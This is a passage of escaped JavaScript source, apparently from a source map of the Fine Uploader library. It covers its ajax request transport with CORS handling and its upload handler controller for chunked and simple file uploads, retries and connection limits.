[200]\n            },\n            cors: {\n                expected: false,\n                sendCredentials: false\n            },\n            log: function(str, level) {},\n            onSend: function(id) {},\n            onComplete: function(id, xhrOrXdr, isError) {},\n            onProgress: null\n        };\n\n    qq.extend(options, o);\n    log = options.log;\n\n    if (qq.indexOf(options.validMethods, options.method) < 0) {\n        throw new Error(\"'\" + options.method + \"' is not a supported method for this type of request!\");\n    }\n\n    // [Simple methods](http://www.w3.org/TR/cors/#simple-method)\n    // are defined by the W3C in the CORS spec as a list of methods that, in part,\n    // make a CORS request eligible to be exempt from preflighting.\n    function isSimpleMethod() {\n        return qq.indexOf([\"GET\", \"POST\", \"HEAD\"], options.method) >= 0;\n    }\n\n    // [Simple headers](http://www.w3.org/TR/cors/#simple-header)\n    // are defined by the W3C in the CORS spec as a list of headers that, in part,\n    // make a CORS request eligible to be exempt from preflighting.\n    function containsNonSimpleHeaders(headers) {\n        var containsNonSimple = false;\n\n        qq.each(containsNonSimple, function(idx, header) {\n            if (qq.indexOf([\"Accept\", \"Accept-Language\", \"Content-Language\", \"Content-Type\"], header) < 0) {\n                containsNonSimple = true;\n                return false;\n            }\n        });\n\n        return containsNonSimple;\n    }\n\n    function isXdr(xhr) {\n        //The `withCredentials` test is a commonly accepted way to determine if XHR supports CORS.\n        return options.cors.expected && xhr.withCredentials === undefined;\n    }\n\n    // Returns either a new `XMLHttpRequest` or `XDomainRequest` instance.\n    function getCorsAjaxTransport() {\n        var xhrOrXdr;\n\n        if (window.XMLHttpRequest || window.ActiveXObject) {\n            xhrOrXdr = qq.createXhrInstance();\n\n            if (xhrOrXdr.withCredentials === undefined) {\n                xhrOrXdr = new XDomainRequest();\n                // Workaround for XDR bug in IE9 - https://social.msdn.microsoft.com/Forums/ie/en-US/30ef3add-767c-4436-b8a9-f1ca19b4812e/ie9-rtm-xdomainrequest-issued-requests-may-abort-if-all-event-handlers-not-specified?forum=iewebdevelopment\n                xhrOrXdr.onload = function() {};\n                xhrOrXdr.onerror = function() {};\n                xhrOrXdr.ontimeout = function() {};\n                xhrOrXdr.onprogress = function() {};\n            }\n        }\n\n        return xhrOrXdr;\n    }\n\n    // Returns either a new XHR/XDR instance, or an existing one for the associated `File` or `Blob`.\n    function getXhrOrXdr(id, suppliedXhr) {\n        var xhrOrXdr = requestData[id].xhr;\n\n        if (!xhrOrXdr) {\n            if (suppliedXhr) {\n                xhrOrXdr = suppliedXhr;\n            }\n            else {\n                if (options.cors.expected) {\n                    xhrOrXdr = getCorsAjaxTransport();\n                }\n                else {\n                    xhrOrXdr = qq.createXhrInstance();\n                }\n            }\n\n            requestData[id].xhr = xhrOrXdr;\n        }\n\n        return xhrOrXdr;\n    }\n\n    // Removes element from queue, sends next request\n    function dequeue(id) {\n        var i = qq.indexOf(queue, id),\n            max = options.maxConnections,\n            nextId;\n\n        delete requestData[id];\n        queue.splice(i, 1);\n\n        if (queue.length >= max && i < max) {\n            nextId = queue[max - 1];\n            sendRequest(nextId);\n        }\n    }\n\n    function onComplete(id, xdrError) {\n        var xhr = getXhrOrXdr(id),\n            method = options.method,\n            isError = xdrError === true;\n\n        dequeue(id);\n\n        if (isError) {\n            log(method + \" request for \" + id + \" has failed\", \"error\");\n        }\n        else if (!isXdr(xhr) && !isResponseSuccessful(xhr.status)) {\n            isError = true;\n            log(method + \" request for \" + id + \" has failed - response code \" + xhr.status, \"error\");\n        }\n\n        options.onComplete(id, xhr, isError);\n    }\n\n    function getParams(id) {\n        var onDemandParams = requestData[id].additionalParams,\n            mandatedParams = options.mandatedParams,\n            params;\n\n        if (options.paramsStore.get) {\n            params = options.paramsStore.get(id);\n        }\n\n        if (onDemandParams) {\n            qq.each(onDemandParams, function(name, val) {\n                params = params || {};\n                params[name] = val;\n            });\n        }\n\n        if (mandatedParams) {\n            qq.each(mandatedParams, function(name, val) {\n                params = params || {};\n                params[name] = val;\n            });\n        }\n\n        return params;\n    }\n\n    function sendRequest(id, optXhr) {\n        var xhr = getXhrOrXdr(id, optXhr),\n            method = options.method,\n            params = getParams(id),\n            payload = requestData[id].payload,\n            url;\n\n        options.onSend(id);\n\n        url = createUrl(id, params, requestData[id].additionalQueryParams);\n\n        // XDR and XHR status detection APIs differ a bit.\n        if (isXdr(xhr)) {\n            xhr.onload = getXdrLoadHandler(id);\n            xhr.onerror = getXdrErrorHandler(id);\n        }\n        else {\n            xhr.onreadystatechange = getXhrReadyStateChangeHandler(id);\n        }\n\n        registerForUploadProgress(id);\n\n        // The last parameter is assumed to be ignored if we are actually using `XDomainRequest`.\n        xhr.open(method, url, true);\n\n        // Instruct the transport to send cookies along with the CORS request,\n        // unless we are using `XDomainRequest`, which is not capable of this.\n        if (options.cors.expected && options.cors.sendCredentials && !isXdr(xhr)) {\n            xhr.withCredentials = true;\n        }\n\n        setHeaders(id);\n\n        log(\"Sending \" + method + \" request for \" + id);\n\n        if (payload) {\n            xhr.send(payload);\n        }\n        else if (shouldParamsBeInQueryString || !params) {\n            xhr.send();\n        }\n        else if (params && options.contentType && options.contentType.toLowerCase().indexOf(\"application/x-www-form-urlencoded\") >= 0) {\n            xhr.send(qq.obj2url(params, \"\"));\n        }\n        else if (params && options.contentType && options.contentType.toLowerCase().indexOf(\"application/json\") >= 0) {\n            xhr.send(JSON.stringify(params));\n        }\n        else {\n            xhr.send(params);\n        }\n\n        return xhr;\n    }\n\n    function createUrl(id, params, additionalQueryParams) {\n        var endpoint = options.endpointStore.get(id),\n            addToPath = requestData[id].addToPath;\n\n        /*jshint -W116,-W041 */\n        if (addToPath != undefined) {\n            endpoint += \"/\" + addToPath;\n        }\n\n        if (shouldParamsBeInQueryString && params) {\n            endpoint = qq.obj2url(params, endpoint);\n        }\n\n        if (additionalQueryParams) {\n            endpoint = qq.obj2url(additionalQueryParams, endpoint);\n        }\n\n        return endpoint;\n    }\n\n    // Invoked by the UA to indicate a number of possible states that describe\n    // a live `XMLHttpRequest` transport.\n    function getXhrReadyStateChangeHandler(id) {\n        return function() {\n            if (getXhrOrXdr(id).readyState === 4) {\n                onComplete(id);\n            }\n        };\n    }\n\n    function registerForUploadProgress(id) {\n        var onProgress = options.onProgress;\n\n        if (onProgress) {\n            getXhrOrXdr(id).upload.onprogress = function(e) {\n                if (e.lengthComputable) {\n                    onProgress(id, e.loaded, e.total);\n                }\n            };\n        }\n    }\n\n    // This will be called by IE to indicate **success** for an associated\n    // `XDomainRequest` transported request.\n    function getXdrLoadHandler(id) {\n        return function() {\n            onComplete(id);\n        };\n    }\n\n    // This will be called by IE to indicate **failure** for an associated\n    // `XDomainRequest` transported request.\n    function getXdrErrorHandler(id) {\n        return function() {\n            onComplete(id, true);\n        };\n    }\n\n    function setHeaders(id) {\n        var xhr = getXhrOrXdr(id),\n            customHeaders = options.customHeaders,\n            onDemandHeaders = requestData[id].additionalHeaders || {},\n            method = options.method,\n            allHeaders = {};\n\n        // If XDomainRequest is being used, we can't set headers, so just ignore this block.\n        if (!isXdr(xhr)) {\n            options.acceptHeader && xhr.setRequestHeader(\"Accept\", options.acceptHeader);\n\n            // Only attempt to add X-Requested-With & Cache-Control if permitted\n            if (options.allowXRequestedWithAndCacheControl) {\n                // Do not add X-Requested-With & Cache-Control if this is a cross-origin request\n                // OR the cross-origin request contains a non-simple method or header.\n                // This is done to ensure a preflight is not triggered exclusively based on the\n                // addition of these 2 non-simple headers.\n                if (!options.cors.expected || (!isSimpleMethod() || containsNonSimpleHeaders(customHeaders))) {\n                    xhr.setRequestHeader(\"X-Requested-With\", \"XMLHttpRequest\");\n                    xhr.setRequestHeader(\"Cache-Control\", \"no-cache\");\n                }\n            }\n\n            if (options.contentType && (method === \"POST\" || method === \"PUT\")) {\n                xhr.setRequestHeader(\"Content-Type\", options.contentType);\n            }\n\n            qq.extend(allHeaders, qq.isFunction(customHeaders) ? customHeaders(id) : customHeaders);\n            qq.extend(allHeaders, onDemandHeaders);\n\n            qq.each(allHeaders, function(name, val) {\n                xhr.setRequestHeader(name, val);\n            });\n        }\n    }\n\n    function isResponseSuccessful(responseCode) {\n        return qq.indexOf(options.successfulResponseCodes[options.method], responseCode) >= 0;\n    }\n\n    function prepareToSend(id, optXhr, addToPath, additionalParams, additionalQueryParams, additionalHeaders, payload) {\n        requestData[id] = {\n            addToPath: addToPath,\n            additionalParams: additionalParams,\n            additionalQueryParams: additionalQueryParams,\n            additionalHeaders: additionalHeaders,\n            payload: payload\n        };\n\n        var len = queue.push(id);\n\n        // if too many active connections, wait...\n        if (len <= options.maxConnections) {\n            return sendRequest(id, optXhr);\n        }\n    }\n\n    shouldParamsBeInQueryString = options.method === \"GET\" || options.method === \"DELETE\";\n\n    qq.extend(this, {\n        // Start the process of sending the request.  The ID refers to the file associated with the request.\n        initTransport: function(id) {\n            var path, params, headers, payload, cacheBuster, additionalQueryParams;\n\n            return {\n                // Optionally specify the end of the endpoint path for the request.\n                withPath: function(appendToPath) {\n                    path = appendToPath;\n                    return this;\n                },\n\n                // Optionally specify additional parameters to send along with the request.\n                // These will be added to the query string for GET/DELETE requests or the payload\n                // for POST/PUT requests.  The Content-Type of the request will be used to determine\n                // how these parameters should be formatted as well.\n                withParams: function(additionalParams) {\n                    params = additionalParams;\n                    return this;\n                },\n\n                withQueryParams: function(_additionalQueryParams_) {\n                    additionalQueryParams = _additionalQueryParams_;\n                    return this;\n                },\n\n                // Optionally specify additional headers to send along with the request.\n                withHeaders: function(additionalHeaders) {\n                    headers = additionalHeaders;\n                    return this;\n                },\n\n                // Optionally specify a payload/body for the request.\n                withPayload: function(thePayload) {\n                    payload = thePayload;\n                    return this;\n                },\n\n                // Appends a cache buster (timestamp) to the request URL as a query parameter (only if GET or DELETE)\n                withCacheBuster: function() {\n                    cacheBuster = true;\n                    return this;\n                },\n\n                // Send the constructed request.\n                send: function(optXhr) {\n                    if (cacheBuster && qq.indexOf([\"GET\", \"DELETE\"], options.method) >= 0) {\n                        params.qqtimestamp = new Date().getTime();\n                    }\n\n                    return prepareToSend(id, optXhr, path, params, additionalQueryParams, headers, payload);\n                }\n            };\n        },\n\n        canceled: function(id) {\n            dequeue(id);\n        }\n    });\n};\n","/* globals qq */\n/**\n * Common upload handler functions.\n *\n * @constructor\n */\nqq.UploadHandler = function(spec) {\n    \"use strict\";\n\n    var proxy = spec.proxy,\n        fileState = {},\n        onCancel = proxy.onCancel,\n        getName = proxy.getName;\n\n    qq.extend(this, {\n        add: function(id, fileItem) {\n            fileState[id] = fileItem;\n            fileState[id].temp = {};\n        },\n\n        cancel: function(id) {\n            var self = this,\n                cancelFinalizationEffort = new qq.Promise(),\n                onCancelRetVal = onCancel(id, getName(id), cancelFinalizationEffort);\n\n            onCancelRetVal.then(function() {\n                if (self.isValid(id)) {\n                    fileState[id].canceled = true;\n                    self.expunge(id);\n                }\n                cancelFinalizationEffort.success();\n            });\n        },\n\n        expunge: function(id) {\n            delete fileState[id];\n        },\n\n        getThirdPartyFileId: function(id) {\n            return fileState[id].key;\n        },\n\n        isValid: function(id) {\n            return fileState[id] !== undefined;\n        },\n\n        reset: function() {\n            fileState = {};\n        },\n\n        _getFileState: function(id) {\n            return fileState[id];\n        },\n\n        _setThirdPartyFileId: function(id, thirdPartyFileId) {\n            fileState[id].key = thirdPartyFileId;\n        },\n\n        _wasCanceled: function(id) {\n            return !!fileState[id].canceled;\n        }\n    });\n};\n","/*globals qq*/\n/**\n * Base upload handler module.  Controls more specific handlers.\n *\n * @param o Options.  Passed along to the specific handler submodule as well.\n * @param namespace [optional] Namespace for the specific handler.\n */\nqq.UploadHandlerController = function(o, namespace) {\n    \"use strict\";\n\n    var controller = this,\n        chunkingPossible = false,\n        concurrentChunkingPossible = false,\n        chunking, preventRetryResponse, log, handler,\n\n    options = {\n        paramsStore: {},\n        maxConnections: 3, // maximum number of concurrent uploads\n        chunking: {\n            enabled: false,\n            multiple: {\n                enabled: false\n            }\n        },\n        log: function(str, level) {},\n        onProgress: function(id, fileName, loaded, total) {},\n        onComplete: function(id, fileName, response, xhr) {},\n        onCancel: function(id, fileName) {},\n        onUploadPrep: function(id) {}, // Called if non-trivial operations will be performed before onUpload\n        onUpload: function(id, fileName) {},\n        onUploadChunk: function(id, fileName, chunkData) {},\n        onUploadChunkSuccess: function(id, chunkData, response, xhr) {},\n        onAutoRetry: function(id, fileName, response, xhr) {},\n        onResume: function(id, fileName, chunkData) {},\n        onUuidChanged: function(id, newUuid) {},\n        getName: function(id) {},\n        setSize: function(id, newSize) {},\n        isQueued: function(id) {},\n        getIdsInProxyGroup: function(id) {},\n        getIdsInBatch: function(id) {}\n    },\n\n    chunked = {\n        // Called when each chunk has uploaded successfully\n        done: function(id, chunkIdx, response, xhr) {\n            var chunkData = handler._getChunkData(id, chunkIdx);\n\n            handler._getFileState(id).attemptingResume = false;\n\n            delete handler._getFileState(id).temp.chunkProgress[chunkIdx];\n            handler._getFileState(id).loaded += chunkData.size;\n\n            options.onUploadChunkSuccess(id, handler._getChunkDataForCallback(chunkData), response, xhr);\n        },\n\n        // Called when all chunks have been successfully uploaded and we want to ask the handler to perform any\n        // logic associated with closing out the file, such as combining the chunks.\n        finalize: function(id) {\n            var size = options.getSize(id),\n                name = options.getName(id);\n\n            log(\"All chunks have been uploaded for \" + id + \" - finalizing....\");\n            handler.finalizeChunks(id).then(\n                function(response, xhr) {\n                    log(\"Finalize successful for \" + id);\n\n                    var normaizedResponse = upload.normalizeResponse(response, true);\n\n                    options.onProgress(id, name, size, size);\n                    handler._maybeDeletePersistedChunkData(id);\n                    upload.cleanup(id, normaizedResponse, xhr);\n                },\n                function(response, xhr) {\n                    var normaizedResponse = upload.normalizeResponse(response, false);\n\n                    log(\"Problem finalizing chunks for file ID \" + id + \" - \" + normaizedResponse.error, \"error\");\n\n                    if (normaizedResponse.reset) {\n                        chunked.reset(id);\n                    }\n\n                    if (!options.onAutoRetry(id, name, normaizedResponse, xhr)) {\n                        upload.cleanup(id, normaizedResponse, xhr);\n                    }\n                }\n            );\n        },\n\n        hasMoreParts: function(id) {\n            return !!handler._getFileState(id).chunking.remaining.length;\n        },\n\n        nextPart: function(id) {\n            var nextIdx = handler._getFileState(id).chunking.remaining.shift();\n\n            if (nextIdx >= handler._getTotalChunks(id)) {\n                nextIdx = null;\n            }\n\n            return nextIdx;\n        },\n\n        reset: function(id) {\n            log(\"Server or callback has ordered chunking effort to be restarted on next attempt for item ID \" + id, \"error\");\n\n            handler._maybeDeletePersistedChunkData(id);\n            handler.reevaluateChunking(id);\n            handler._getFileState(id).loaded = 0;\n        },\n\n        sendNext: function(id) {\n            var size = options.getSize(id),\n                name = options.getName(id),\n                chunkIdx = chunked.nextPart(id),\n                chunkData = handler._getChunkData(id, chunkIdx),\n                resuming = handler._getFileState(id).attemptingResume,\n                inProgressChunks = handler._getFileState(id).chunking.inProgress || [];\n\n            if (handler._getFileState(id).loaded == null) {\n                handler._getFileState(id).loaded = 0;\n            }\n\n            // Don't follow-through with the resume attempt if the integrator returns false from onResume\n            if (resuming && options.onResume(id, name, chunkData) === false) {\n                chunked.reset(id);\n                chunkIdx = chunked.nextPart(id);\n                chunkData = handler._getChunkData(id, chunkIdx);\n                resuming = false;\n            }\n\n            // If all chunks have already uploaded successfully, we must be re-attempting the finalize step.\n            if (chunkIdx == null && inProgressChunks.length === 0) {\n                chunked.finalize(id);\n            }\n\n            // Send the next chunk\n            else {\n                log(qq.format(\"Sending chunked upload request for item {}.{}, bytes {}-{} of {}.\", id, chunkIdx, chunkData.start + 1, chunkData.end, size));\n                options.onUploadChunk(id, name, handler._getChunkDataForCallback(chunkData));\n                inProgressChunks.push(chunkIdx);\n                handler._getFileState(id).chunking.inProgress = inProgressChunks;\n\n                if (concurrentChunkingPossible) {\n                    connectionManager.open(id, chunkIdx);\n                }\n\n                if (concurrentChunkingPossible && connectionManager.available() && handler._getFileState(id).chunking.remaining.length) {\n                    chunked.sendNext(id);\n                }\n\n                handler.uploadChunk(id, chunkIdx, resuming).then(\n                    // upload chunk success\n                    function success(response, xhr) {\n                        log(\"Chunked upload request succeeded for \" + id + \", chunk \" + chunkIdx);\n\n                        handler.clearCachedChunk(id, chunkIdx);\n\n                        var inProgressChunks = handler._getFileState(id).chunking.inProgress || [],\n                            responseToReport = upload.normalizeResponse(response, true),\n                            inProgressChunkIdx = qq.indexOf(inProgressChunks, chunkIdx);\n\n                        log(qq.format(\"Chunk {} for file {} uploaded successfully.\", chunkIdx, id));\n\n                        chunked.done(id, chunkIdx, responseToReport, xhr);\n\n                        if (inProgressChunkIdx >= 0) {\n                            inProgressChunks.splice(inProgressChunkIdx, 1);\n                        }\n\n                        handler._maybePersistChunkedState(id);\n\n                        if (!chunked.hasMoreParts(id) && inProgressChunks.length === 0) {\n                            chunked.finalize(id);\n                        }\n                        else if (chunked.hasMoreParts(id)) {\n                            chunked.sendNext(id);\n                        }\n                        else {\n                            log(qq.format(\"File ID {} has no more chunks to send and these chunk indexes are still marked as in-progress: {}\", id, JSON.stringify(inProgressChunks)));\n                        }\n                    },\n\n                    // upload chunk failure\n                    function failure(response, xhr) {\n                        log(\"Chunked upload request failed for \" + id + \", chunk \" + chunkIdx);\n\n                        handler.clearCachedChunk(id, chunkIdx);\n\n                        var responseToReport = upload.normalizeResponse(response, false),\n                            inProgressIdx;\n\n                        if (responseToReport.reset) {\n                            chunked.reset(id);\n                        }\n                        else {\n                            inProgressIdx = qq.indexOf(handler._getFileState(id).chunking.inProgress, chunkIdx);\n                            if (inProgressIdx >= 0) {\n                                handler._getFileState(id).chunking.inProgress.splice(inProgressIdx, 1);\n                                handler._getFileState(id).chunking.remaining.unshift(chunkIdx);\n                            }\n                        }\n\n                        // We may have aborted all other in-progress chunks for this file due to a failure.\n                        // If so, ignore the failures associated with those aborts.\n                        if (!handler._getFileState(id).temp.ignoreFailure) {\n                            // If this chunk has failed, we want to ignore all other failures of currently in-progress\n                            // chunks since they will be explicitly aborted\n                            if (concurrentChunkingPossible) {\n                                handler._getFileState(id).temp.ignoreFailure = true;\n\n                                log(qq.format(\"Going to attempt to abort these chunks: {}. These are currently in-progress: {}.\", JSON.stringify(Object.keys(handler._getXhrs(id))), JSON.stringify(handler._getFileState(id).chunking.inProgress)));\n                                qq.each(handler._getXhrs(id), function(ckid, ckXhr) {\n                                    log(qq.format(\"Attempting to abort file {}.{}. XHR readyState {}. \", id, ckid, ckXhr.readyState));\n                                    ckXhr.abort();\n                                    // Flag the transport, in case we are waiting for some other async operation\n                                    // to complete before attempting to upload the chunk\n                                    ckXhr._cancelled = true;\n                                });\n\n                                // We must indicate that all aborted chunks are no longer in progress\n                                handler.moveInProgressToRemaining(id);\n\n                                // Free up any connections used by these chunks, but don't allow any\n                                // other files to take up the connections (until we have exhausted all auto-retries)\n                                connectionManager.free(id, true);\n                            }\n\n                            if (!options.onAutoRetry(id, name, responseToReport, xhr)) {\n                                // If one chunk fails, abort all of the others to avoid odd race conditions that occur\n                                // if a chunk succeeds immediately after one fails before we have determined if the upload\n                                // is a failure or not.\n                                upload.cleanup(id, responseToReport, xhr);\n                            }\n                        }\n                    }\n                )\n                    .done(function() {\n                        handler.clearXhr(id, chunkIdx);\n                    });\n            }\n        }\n    },\n\n    connectionManager = {\n        _open: [],\n        _openChunks: {},\n        _waiting: [],\n\n        available: function() {\n            var max = options.maxConnections,\n                openChunkEntriesCount = 0,\n                openChunksCount = 0;\n\n            qq.each(connectionManager._openChunks, function(fileId, openChunkIndexes) {\n                openChunkEntriesCount++;\n                openChunksCount += openChunkIndexes.length;\n            });\n\n            return max - (connectionManager._open.length - openChunkEntriesCount + openChunksCount);\n        },\n\n        /**\n         * Removes element from queue, starts upload of next\n         */\n        free: function(id, dontAllowNext) {\n            var allowNext = !dontAllowNext,\n                waitingIndex = qq.indexOf(connectionManager._waiting, id),\n                connectionsIndex = qq.indexOf(connectionManager._open, id),\n                nextId;\n\n            delete connectionManager._openChunks[id];\n\n            if (upload.getProxyOrBlob(id) instanceof qq.BlobProxy) {\n                log(\"Generated blob upload has ended for \" + id + \", disposing generated blob.\");\n                delete handler._getFileState(id).file;\n            }\n\n            // If this file was not consuming a connection, it was just waiting, so remove it from the waiting array\n            if (waitingIndex >= 0) {\n                connectionManager._waiting.splice(waitingIndex, 1);\n            }\n            // If this file was consuming a connection, allow the next file to be uploaded\n            else if (allowNext && connectionsIndex >= 0) {\n                connectionManager._open.splice(connectionsIndex, 1);\n\n                nextId = connectionManager._waiting.shift();\n                if (nextId >= 0) {\n                    connectionManager._open.push(nextId);\n                    upload.start(nextId);\n                }\n            }\n        },\n\n        getWaitingOrConnected: function() {\n            var waitingOrConnected = [];\n\n            // Chunked files may have multiple connections open per chunk (if concurrent chunking is enabled)\n            // We need to grab the file ID of any file that has at least one chunk consuming a connection.\n            qq.each(connectionManager._openChunks, function(fileId, chunks) {\n                if (chunks && chunks.length) {\n                    waitingOrConnected.push(parseInt(fileId));\n                }\n            });\n\n            // For non-chunked files, only one connection will be consumed per file.\n            // This is where we aggregate those file IDs.\n            qq.each(connectionManager._open, function(idx, fileId) {\n                if (!connectionManager._openChunks[fileId]) {\n                    waitingOrConnected.push(parseInt(fileId));\n                }\n            });\n\n            // There may be files waiting for a connection.\n            waitingOrConnected = waitingOrConnected.concat(connectionManager._waiting);\n\n            return waitingOrConnected;\n        },\n\n        isUsingConnection: function(id) {\n            return qq.indexOf(connectionManager._open, id) >= 0;\n        },\n\n        open: function(id, chunkIdx) {\n            if (chunkIdx == null) {\n                connectionManager._waiting.push(id);\n            }\n\n            if (connectionManager.available()) {\n                if (chunkIdx == null) {\n                    connectionManager._waiting.pop();\n                    connectionManager._open.push(id);\n                }\n                else {\n                    (function() {\n                        var openChunksEntry = connectionManager._openChunks[id] || [];\n                        openChunksEntry.push(chunkIdx);\n                        connectionManager._openChunks[id] = openChunksEntry;\n                    }());\n                }\n\n                return true;\n            }\n\n            return false;\n        },\n\n        reset: function() {\n            connectionManager._waiting = [];\n            connectionManager._open = [];\n        }\n    },\n\n    simple = {\n        send: function(id, name) {\n            handler._getFileState(id).loaded = 0;\n\n            log(\"Sending simple upload request for \" + id);\n            handler.uploadFile(id).then(\n                function(response, optXhr) {\n                    log(\"Simple upload request succeeded for \" + id);\n\n                    var responseToReport = upload.normalizeResponse(response, true),\n                        size = options.getSize(id);\n\n                    options.onProgress(id, name, size, size);\n                    upload.maybeNewUuid(id, responseToReport);\n                    upload.cleanup(id, responseToReport, optXhr);\n                },\n\n                function(response, optXhr) {\n                    log(\"Simple upload request failed for \" + id);\n\n                    var responseToReport = upload.normalizeResponse(response, false);\n\n                    if (!options.onAutoRetry(id, name, responseToReport, optXhr)) {\n                        upload.cleanup(id, responseToReport, optXhr);\n                    }\n                }\n            );\n        }\n    },\n\n    upload = {\n        cancel: function(id) {\n            log(\"Cancelling \" + id);\n            options.paramsStore.remove(id);\n            connectionManager.free(id);\n        },\n\n        cleanup: function(id, response, optXhr) {\n            var name = options.getName(id);\n\n            options.onComplete(id, name, response, optXhr);\n\n            if (handler._getFileState(id)) {\n                handler._clearXhrs && handler._clearXhrs(id);\n            }\n\n            connectionManager.free(id);\n        },\n\n        // Returns a qq.BlobProxy, or an actual File/Blob if no proxy is involved, or undefined\n        // if none of these are available for the ID\n        getProxyOrBlob: function(id) {\n            return (handler.getProxy && handler.getProxy(id)) ||\n                (handler.getFile && handler.getFile(id));\n        },\n\n        initHandler: function() {\n            var handlerType = namespace ? qq[namespace] : qq.traditional,\n                handlerModuleSubtype = qq.supportedFeatures.ajaxUploading ? \"Xhr\" : \"Form\";\n\n            handler = new handlerType[handlerModuleSubtype + \"UploadHandler\"](\n                options,\n                {\n                    getDataByUuid: options.getDataByUuid,\n                    getName: options.getName,\n                    getSize: options.getSize,\n                    getUuid: options.getUuid,\n                    log: log,\n                    onCancel: options.onCancel,\n                    onProgress: options.onProgress,\n                    onUuidChanged: options.onUuidChanged\n                }\n            );\n\n            if (handler._removeExpiredChunkingRecords) {\n                handler._removeExpiredChunkingRecords();\n            }\n        },\n\n        isDeferredEligibleForUpload: function(id) {\n            return options.isQueued(id);\n        },\n\n        // For Blobs that are part of a group of generated images, along with a reference image,\n        // this will ensure the blobs in the group are uploaded in the order they were triggered,\n        // even if some async processing must be completed on one or more Blobs first.\n        maybeDefer: function(id, blob) {\n            // If we don't have a file/blob yet & no file/blob exists for this item, request it,\n            // and then submit the upload to the specific handler once the blob is available.\n            // ASSUMPTION: This condition will only ever be true if XHR uploading is supported.\n            if (blob && !handler.getFile(id) && blob instanceof qq.BlobProxy) {\n\n                // Blob creation may take some time, so the caller may want to update the\n                // UI to indicate that an operation is in progress, even before the actual\n                // upload begins and an onUpload callback is invoked.\n                options.onUploadPrep(id);\n\n                log(\"Attempting to generate a blob on-demand for \" + id);\n                blob.create().then(function(generatedBlob) {\n                    log(\"Generated an on-demand blob for \" + id);\n\n                    // Update record associated with this file by providing the generated Blob\n                    handler.updateBlob(id, generatedBlob);\n\n                    // Propagate the size for this generated Blob\n                    options.setSize(id, generatedBlob.size);\n\n                    // Order handler to recalculate chunking possibility, if applicable\n                    handler.reevaluateChunking(id);\n\n                    upload.maybeSendDeferredFiles(id);\n                },\n\n                // Blob could not be generated.  Fail the upload & attempt to prevent retries.  Also bubble error message.\n                function(errorMessage) {\n                    var errorResponse = {};\n\n                    if (errorMessage) {\n                        errorResponse.error = errorMessage;\n                    }\n\n                    log(qq.format(\"Failed to generate blob for ID {}.  Error message: {}.\", id, errorMessage), \"error\");\n\n                    options.onComplete(id, options.getName(id), qq.extend(errorResponse, preventRetryResponse), null);\n                    upload.maybeSendDeferredFiles(id);\n                    connectionManager.free(id);\n                });\n            }\n            else {\n                return upload.maybeSendDeferredFiles(id);\n            }\n\n            return false;\n        },\n\n        // Upload any grouped blobs, in the proper order, that are ready to be uploaded\n        maybeSendDeferredFiles: function(id) {\n            var idsInGroup = options.getIdsInProxyGroup(id),\n                uploadedThisId = false;\n\n            if (idsInGroup && idsInGroup.length) {\n                log(\"Maybe ready to upload proxy group file \" + id);\n\n                qq.each(idsInGroup, function(idx, idInGroup) {\n                    if (upload.isDeferredEligibleForUpload(idInGroup) && !!handler.getFile(idInGroup)) {\n                        uploadedThisId = idInGroup === id;\n                        upload.now(idInGroup);\n                    }\n                    else if (upload.isDeferredEligibleForUpload(idInGroup)) {\n                        return false;\n                    }\n                });\n            }\n            else {\n                uploadedThisId = true;\n                upload.now(id);\n            }\n\n            return uploadedThisId;\n        },\n\n        maybeNewUuid: function(id, response) {\n            if (response.newUuid !== undefined) {\n                options.onUuidChanged(id, response.newUuid);\n            }\n        },\n\n        // The response coming from handler implementations may be in various formats.\n        // Instead of hoping a promise nested 5 levels deep will always return an object\n        // as its first param, let's just normalize the response here.\n        normalizeResponse: function(originalResponse, successful) {\n            var response = originalResponse;\n\n            // The passed \"response\" param may not be a response at all.\n            // It could be a string, detailing the error, for example.\n            if (!qq.isObject(originalResponse)) {\n                response = {};\n\n                if (qq.isString(originalResponse) && !successful) {\n                    response.error = originalResponse;\n                }\n            }\n\n            response.success = successful;\n\n            return response;\n        },\n\n        now: function(id) {\n            var name = options.getName(id);\n\n            if (!controller.isValid(id)) {\n                throw new qq.Error(id + \" is not a valid file ID to upload!\");\n            }\n\n            options.onUpload(id, name);\n\n            if (chunkingPossible && handler._shouldChunkThisFile(id)) {\n                chunked.sendNext(id);\n            }\n            else {\n                simple.send(id, name);\n            }\n        },\n\n        start: function(id) {\n            var blobToUpload = upload.getProxyOrBlob(id);\n\n            if (blobToUpload) {\n                return upload.maybeDefer(id, blobToUpload);\n            }\n            else {\n                upload.now(id);\n                return true;\n            }\n        }\n    };\n\n    qq.extend(this, {\n        /**\n         * Adds file or file input to the queue\n         **/\n        add: function(id, file) {\n            handler.add.apply(this, arguments);\n        },\n\n        /**\n         * Sends the file identified by id\n         */\n        upload: function(id) {\n            if (connectionManager.open(id)) {\n                return upload.start(id);\n            }\n            return false;\n        },\n\n        retry: function(id) {\n            // On retry, if concurrent chunking has been enabled, we may have aborted all other in-progress chunks\n            // for a file when encountering a failed chunk upload.  We then signaled the controller to ignore\n            // all failures associated with these aborts.  We are now retrying, so we don't want to ignore\n            // any more failures at this point.\n            if (concurrentChunkingPossible) {\n                handler._getFileState(id).temp.ignoreFailure = false;\n            }\n\n            // If we are attempting to retry a file that is already consuming a connection, this is likely an auto-retry.\n            // Just go ahead and ask the handler to upload again.\n            if (connectionManager.isUsingConnection(id)) {\n                return upload.start(id);\n            }\n\n            // If we are attempting to retry a file that is not currently consuming a connection,\n            // this is likely a manual retry attempt.  We will need to ensure a connection is available\n            // before the retry commences.\n            else {\n                return controller.upload(id);\n            }\n        },\n\n        /**\n         * Cancels file upload by id\n         */\n        cancel: function(id) {\n            var cancelRetVal = handler.cancel(id);\n\n            if (qq.isGenericPromise(cancelRetVal)) {\n                cancelRetVal.then(function() {\n                    upload.cancel(id);\n                });\n            }\n            else if (cancelRetVal !== false) {\n                upload.cancel(id);\n            }\n        },\n\n        /**\n         * Cancels all queued or in-progress uploads\n         */\n        cancelAll: function() {\n            var waitingOrConnected = connectionManager.getWaitingOrConnected(),\n                i;\n\n            // ensure files are cancelled in reverse order which they were added\n            // to avoid a flash of time where a queued file begins to upload before it is canceled\n            if (waitingOrConnected.length) {\n                for (i = waitingOrConnected.length - 1; i >= 0; i--) {\n                    controller.cancel(waitingOrConnected[i]);\n                }\n            }\n\n            connectionManager.reset();\n        },\n\n        // Returns a File, Blob, or the Blob/File for the reference/parent file if the targeted blob is a proxy.\n        // Undefined if no file record is available.\n        getFile: function(id) {\n            if (handler.getProxy && handler.getProxy(id)) {\n                return handler.getProxy(id).referenceBlob;\n            }\n\n            return handler.getFile && handler.getFile(id);\n        },\n\n        // Returns true if the 